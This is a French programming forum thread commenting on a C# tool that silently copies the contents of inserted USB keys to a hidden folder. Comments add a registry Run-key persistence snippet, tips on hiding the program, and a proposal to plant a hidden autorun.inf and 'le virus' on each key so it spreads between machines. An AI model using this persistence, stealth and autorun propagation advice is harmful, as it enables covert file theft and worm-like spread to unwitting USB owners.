COPIE DE CLÉ USB AUTOMATIQUE

pigedanslelac Messages postés 6 Date d'inscription dimanche 20 septembre 2009 Statut Membre Dernière intervention 10 août 2010 - 2 août 2010 à 20:20
huggo1 Messages postés 3 Date d'inscription samedi 4 octobre 2014 Statut Membre Dernière intervention 10 mai 2015 - 4 oct. 2014 à 19:53
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.

https://codes-sources.commentcamarche.net/source/52137-copie-de-cle-usb-automatique

huggo1 Messages postés 3 Date d'inscription samedi 4 octobre 2014 Statut Membre Dernière intervention 10 mai 2015
4 oct. 2014 à 19:53
Bonjour,

Votre script est très intéressant, j'ai récupéré une partie de votre code pour l'intégrer à mon projet(vb.net) -> la fonction "OkGo()" et la fonction "Copie".
J'aimerai rajouter la recherche par extension ("*.*", System.IO.SearchOption.AllDirectories). j'ai beau regarder dans tous les sens, je n'y arrive pas. Pouvez-vous m'aider?
Merci d'avance. Cordialement.
H3av3nsl33p Messages postés 1 Date d'inscription vendredi 16 décembre 2011 Statut Membre Dernière intervention 16 décembre 2011
16 déc. 2011 à 14:43
Bonjour moi j'aimerais bien savoir quel type d'interface peut lire votre programme, je veux dire par là si un micro-C pourrait le lire ou d'autres interfaces ou si seulement un PC peut le faire, dans ce cas, auriez vous un code en C pour la même action ?
Merci beaucoup
micheldemey Messages postés 2 Date d'inscription jeudi 23 juillet 2009 Statut Membre Dernière intervention 10 août 2010
10 août 2010 à 23:15
exact. en changeant le != par >, on évite de recopier lors de l'enlèvement. Mais on copie deux fois une clef déjà en place si on en insère une autre... Il faut garder en mémoire les clef déjà copiée et les ignorer dans le foreach.
pigedanslelac Messages postés 6 Date d'inscription dimanche 20 septembre 2009 Statut Membre Dernière intervention 10 août 2010
10 août 2010 à 22:37
merci .. enfin une utilité à une expression lambda
et en changeant le signe != de la ligne 76 par > et en mettant la ligne 96 en dehors du if, donc à la ligne 98 on évite de recopié lors de l'enlèvement d'une clé
D_E_R_I_C Messages postés 4 Date d'inscription jeudi 26 juillet 2007 Statut Membre Dernière intervention 1 mars 2008
10 août 2010 à 09:04
Bonjour,

La ligne 48 (if (Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Bobo") == null)) renvoie toujours false, donc on écrit toujours la valeur Bobo.

Je corrigerai de la façon suivante :
// ouvre l'accès en écriture à la clé de registre des programmes de démarage
RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //On ouvre toujours la clé
if (!rkApp.GetValueNames().Any(s => s == "Bobo")) //Si la donnée n'existe pas, on la crée
{
//name of your application as you want it to appear in msconfig
//System.AppDomain.CurrentDomain.FriendlyName
rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe");
//Console.WriteLine("clé de registre créée");
}
micheldemey Messages postés 2 Date d'inscription jeudi 23 juillet 2009 Statut Membre Dernière intervention 10 août 2010
9 août 2010 à 13:38
Bonjour,

moi je me demande s'il n'y a pas une petite erreur de logique :
Suppose qu'on insère une clef : il copie la clef sur le répertoire caché.
Ensuite, on en insère une deuxième : il va refaire une copie de la première clef...
Idem lorsqu'on enlèvera une des deux clef : il va refaire une copie.

Donc je propose de modifier cela en utilisant le numéro de série de la clef.
Je ne me souviens pas comment faire, mais il y a un code source sur ce site (utilisation d'une clef usb pour l'accès), qui pourrait servir.
On pourrait créer un répertoire avec le numéro de série que l'on modifiera plutôt que d'en refaire chaque fois un, ensuite on peut enregistrer aussi la date et l'heure de dernière mise à jour, et ne pas refaire une copie trop fréquemment.

Sujet vaste, avec de nombreuses possibilités.

Autre remarque : en ce qui concerne la discrétion, il y a pas mal de clef qui clignotent à qui mieux mieux lorsqu'on transfère des fichiers... Ca, ça ne sera pas discret...
sebmafate Messages postés 4936 Date d'inscription lundi 17 février 2003 Statut Membre Dernière intervention 14 février 2014 37
4 août 2010 à 11:03
oui, mais justement si tu fais une appli console tu ne peux pas la masquer... alors qu'un formulaire se cache (très) facilement.
pigedanslelac Messages postés 6 Date d'inscription dimanche 20 septembre 2009 Statut Membre Dernière intervention 10 août 2010
3 août 2010 à 23:53
Désolé mais l'évènement dont tu me parle est en Windows Form et non en Console, et ça me semble complexe à faire en Console pour un débutant.

Par contre il serait facile de créer un fichier autorun.inf avec un attribut "caché" contenant:
[autorun]
shellexecute=usbcopie.exe
useautoplay=1

Dès la découverte d'une clé USB(ligne 89), on pourrait alors copié le fichier autorun et le virus sur la clé après avoir téléchargé le contenu. L'autorun.inf sous XP ( et probablement Vista avec useautoplay=1) s'exécute lors de l'insertion de la clé. Donc le programme se propagerait d'ordinateur en clé et de clé en ordinateur...etc..etc..
sebmafate Messages postés 4936 Date d'inscription lundi 17 février 2003 Statut Membre Dernière intervention 14 février 2014 37
3 août 2010 à 10:20
Bonne idée... mais il y a plus simple !
Il existe un évènement lorsque qu'un périphérique USB est inséré. Ca t'éviterait de faire une boucle infinie qui utilise des ressources pour rien.

--> http://www.codeproject.com/KB/system/DriveDetector.aspx
pigedanslelac Messages postés 6 Date d'inscription dimanche 20 septembre 2009 Statut Membre Dernière intervention 10 août 2010
2 août 2010 à 20:20
Juste un petit commmentaire, ça fonctionne sur XP p-e pas sur Vista.
Rejoignez-nous